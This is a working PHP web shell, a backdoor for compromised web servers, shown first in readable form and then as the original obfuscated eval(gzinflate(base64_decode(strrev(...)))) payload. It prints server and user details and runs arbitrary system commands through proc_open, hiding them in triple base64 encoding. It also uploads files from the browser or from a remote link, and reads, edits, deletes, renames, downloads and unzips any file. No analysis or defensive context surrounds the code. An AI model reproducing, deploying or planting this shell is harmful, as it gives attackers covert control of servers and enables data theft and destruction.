    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5"></font></center>	
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
        set_time_limit(0);
        error_reporting(0);
        $disfunc = @ini_get("disable_functions");
        if (empty($disfunc)) {
            $disf = "<font color='gold'>NONE</font>";
        } else {
            $disf = "<font color='red'>" . $disfunc . "</font>";
        }
        function author()
        {
            echo "<center><br></center>";
            exit;
        }
        function cekdir()
        {
            if (isset($_GET['path'])) {
                $lokasi = $_GET['path'];
            } else {
                $lokasi = getcwd();
            }
            if (is_writable($lokasi)) {
                return "<font color='green'>Writeable</font>";
            } else {
                return "<font color='red'>Writeable</font>";
            }
        }
        function cekroot()
        {
            if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
                return "<font color='green'>Writeable</font>";
            } else {
                return "<font color='red'>Writeable</font>";
            }
        }
        function xrmdir($dir)
        {
            $items = scandir($dir);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') {
                    continue;
                }
                $path = $dir . '/' . $item;
                if (is_dir($path)) {
                    xrmdir($path);
                } else {
                    unlink($path);
                }
            }
            rmdir($dir);
        }
        function dunlut($file)
        {
            if (!is_readable($file)) {
                red("Cannot Download File / Unreadable File !");
                die;
            }
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($filepath));
            flush();
            readfile($file);
            die;
        }
        function owner($file)
        {
            if (function_exists("posix_getpwuid")) {
                $tod = @posix_getpwuid(fileowner($file));
                return "<center>" . $tod['name'] . "</center>";
            } else {
                return "<center>" . fileowner($file) . "</center>";
            }
        }
        function cekwrite($lokasi)
        {
            $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
            if (is_writable($lokasi)) {
                return "<font color=green>" . $izin . "</font>";
            } else {
                return "<font color=red>" . $izin . "</font>";
            }
        }
        function ekse($komend, $lokasi)
        {
            if (!function_exists("proc_open")) {
                die("proc_open function disabled !");
            } elseif (!function_exists("base64_decode")) {
                die("base64_decode function disabled !");
            }
            $komen = base64_decode(base64_decode(base64_decode($komend)));
            $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
            echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
        }
        function ipserv()
        {
            if (empty($_SERVER['SERVER_ADDR'])) {
                return gethostbyname($_SERVER['SERVER_NAME']);
            } else {
                return $_SERVER['SERVER_ADDR'];
            }
        }
        function cekfile($file)
        {
            return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
        }
        function filedate($file)
        {
            return date("F d Y g:i:s", filemtime($file));
        }
        function unzip($file, $lokasi)
        {
            if (!is_readable($file)) {
                red("Cannot Unzip File / Unreadable File !");
                die;
            } elseif (strpos(file_get_contents($file), "PK\3\4") === false) {
                red("This isn't Zip File !");
                die;
            }
            $zip = new ZipArchive();
            $res = $zip->open($file);
            if ($res == true) {
                $zip->extractTo($lokasi);
                $zip->close();
                green("Success Unzip File !");
            } else {
                red("Failed to Unzip File !");
            }
        }
        function green($text)
        {
            echo "<center><font color='green'>" . $text . "</center></font>";
        }
        function red($text)
        {
            echo "<center><font color='red'>" . $text . "</center></font>";
        }
        echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
        echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
        echo "System : <font color='gold'>" . php_uname() . "</font><br>";
        echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
        echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
        echo "Disable Function : " . $disf . "</font><br>";
        echo "MySQL : ";
        if (function_exists("mysql_connect")) {
            echo "<font color=green>ON</font>";
        } else {
            echo "<font color=red>OFF</font>";
        }
        echo " &nbsp;|&nbsp; cURL : ";
        if (function_exists("curl_init")) {
            echo "<font color=green>ON</font>";
        } else {
            echo "<font color=red>OFF</font>";
        }
        echo " &nbsp;|&nbsp; WGET : ";
        if (file_exists("/usr/bin/wget")) {
            echo "<font color=green>ON</font>";
        } else {
            echo "<font color=red>OFF</font>";
        }
        echo " &nbsp;|&nbsp; Perl : ";
        if (file_exists("/usr/bin/perl")) {
            echo "<font color=green>ON</font>";
        } else {
            echo "<font color=red>OFF</font>";
        }
        echo " &nbsp;|&nbsp; Python : ";
        if (file_exists("/usr/bin/python2")) {
            echo "<font color=green>ON</font>";
        } else {
            echo "<font color=red>OFF</font>";
        }
        foreach ($_POST as $key => $value) {
            $_POST[$key] = stripslashes($value);
        }
        if (isset($_GET['path'])) {
            $lokasi = $_GET['path'];
            $lokdua = $_GET['path'];
        } else {
            $lokasi = getcwd();
            $lokdua = getcwd();
        }
        $lokasi = str_replace('\\', '/', $lokasi);
        $lokasis = explode('/', $lokasi);
        $lokasinya = @scandir($lokasi);
        echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
        foreach ($lokasis as $id => $lok) {
            if ($lok == '' && $id == 0) {
                $a = true;
                echo "<a href=\"?path=/\">/</a>";
                continue;
            }
            if ($lok == '') {
                continue;
            }
            echo "<a href=\"?path=";
            for ($i = 0; $i <= $id; $i++) {
                echo "{$lokasis[$i]}";
                if ($i != $id) {
                    echo "/";
                }
            }
            echo '">' . $lok . '</a>/';
        }
        echo "</td></tr><tr><td>";
        if (isset($_POST['upwkwk'])) {
            if ($_POST['dirnya'] == "2") {
                $lokasi = $_SERVER['DOCUMENT_ROOT'];
            }
            if (isset($_POST['berkasnya'])) {
                $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
                if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
                    echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
                } else {
                    echo "<font color='red'>Failed to Upload !<br><br>";
                }
            } elseif (isset($_POST['linknya'])) {
                if (empty($_POST['namalink'])) {
                    exit("Filename cannot be empty !");
                }
                if ($_POST['dirnya'] == "2") {
                    $lokasi = $_SERVER['DOCUMENT_ROOT'];
                }
                $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
                if (file_exists($lokasi . "/" . $_POST['namalink'])) {
                    echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
                } else {
                    echo "<font coloe='red'>Failed to Upload !<br><br>";
                }
            } elseif (isset($_POST['bepas'])) {
                $bepasdata = $_POST['bepasdata'];
                $bepasnama = $_POST['bepasnama'];
                if ($bepasdata) {
                    echo "string";
                }
                @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
                if (file_exists($lokasi . "/" . $bepasnama)) {
                    echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
                } else {
                    echo "<font coloe='red'>Failed to Upload !<br><br>";
                }
            }
        }
        echo "</table><br>";
        echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
        echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
        echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
        echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
        echo "</table><br>";
        if (isset($_GET['fileloc'])) {
            echo "<tr><td>Current File : " . $_GET['fileloc'];
            echo "</tr></td></table><br/>";
            echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
            author();
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
            if (is_dir($_POST['path'])) {
                xrmdir($_POST['path']);
                if (file_exists($_POST['path'])) {
                    red("Failed to delete Directory !");
                } else {
                    green("Delete Directory Success !");
                }
            } elseif (is_file($_POST['path'])) {
                @unlink($_POST['path']);
                if (file_exists($_POST['path'])) {
                    red("Failed to Delete File !");
                } else {
                    green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
                }
            }
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
            if (isset($_POST['gantin'])) {
                $ren = @rename($_POST['path'], $_POST['newname']);
                if ($ren == true) {
                    green("Change Name Success !");
                } else {
                    red("Change Name Failed !");
                }
            }
            if (empty($_POST['name'])) {
                $namaawal = $_POST['newname'];
            } else {
                $namawal = $_POST['name'];
            }
            echo "<center>" . $_POST['path'] . "<br>";
            echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
            if (isset($_POST['gasedit'])) {
                $edit = @file_put_contents($_POST['path'], $_POST['src']);
                if ($edit == true) {
                    green("Edit File Success !");
                } else {
                    red("Edit File Failed !");
                }
            }
            echo "<center>" . $_POST['path'] . "<br><br>";
            echo '<form method="post">
    <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
            dunlut($_POST['path']);
        } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
            unzip($_POST['path'], $lokasi);
        } elseif ($_REQUEST['upload'] == "gaskan") {
            echo "<center>Upload File : ";
            echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
        } elseif ($_GET['komend'] == "gaskan") {
            echo "<center>";
            echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
            if (isset($_POST['eksekomend'])) {
                ekse($_POST['komend'], $lokasi);
            }
            echo "</center>";
        }
        if (!is_readable($lokasi)) {
            die("<center>This directory is unreadable :(</center>");
        }
        echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Last Modified</center></td>\r\n<td><center>Owner</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
        foreach ($lokasinya as $dir) {
            if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
                continue;
            }
            echo "<tr>\r\n    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n    <td><center>--</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n    <td><center>";
            if (is_writable($lokasi . "/" . $dir)) {
                echo "<font color=\"green\">";
            } elseif (!is_readable($lokasi . "/" . $dir)) {
                echo "<font color=\"red\">";
            }
            echo statusnya($lokasi . "/" . $dir);
            if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
                echo "</font>";
            }
            echo "</center></td>\r\n    <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n    <select name=\"pilih\">\r\n    <option value=\"\"></option>\r\n    <option value=\"hapus\">Delete</option>\r\n    <option value=\"gantinama\">Rename</option>\r\n    </select>\r\n    <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n    <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n    <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n    <input type=\"submit\" class=\"gas\" value=\">\" />\r\n    </form></center></td>\r\n    </tr>";
        }
        echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
        foreach ($lokasinya as $file) {
            if (!is_file("{$lokasi}/{$file}")) {
                continue;
            }
            $size = filesize("{$lokasi}/{$file}") / 1024;
            $size = round($size, 3);
            if ($size >= 1024) {
                $size = round($size / 1024, 2) . ' MB';
            } else {
                $size .= ' KB';
            }
            echo "<tr>\r\n<td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n<td>" . owner($lokasi . "/" . $file) . "</td>\r\n<td><center>";
            if (is_writable("{$lokasi}/{$file}")) {
                echo "<font color=\"green\">";
            } elseif (!is_readable("{$lokasi}/{$file}")) {
                echo "<font color=\"red\">";
            }
            echo statusnya("{$lokasi}/{$file}");
            if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
                echo "</font>";
            }
            echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"dunlut\">Download</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>";
            if (class_exists("ZipArchive")) {
                echo "<option value=\"unzip\">Unzip</option>";
            }
            echo "</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
        }
        echo "</tr></td></table></table>";
        author();
        function statusnya($file)
        {
            $izin = substr(sprintf('%o', fileperms($file)), -4);
            return $izin;
        }
    };
    exit;
};
exit;


Original code

<?php

$rts = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHVrNDUlMjklMjklMjklMjklMjklMjklMjklMjklM0I=";
$uk45 = "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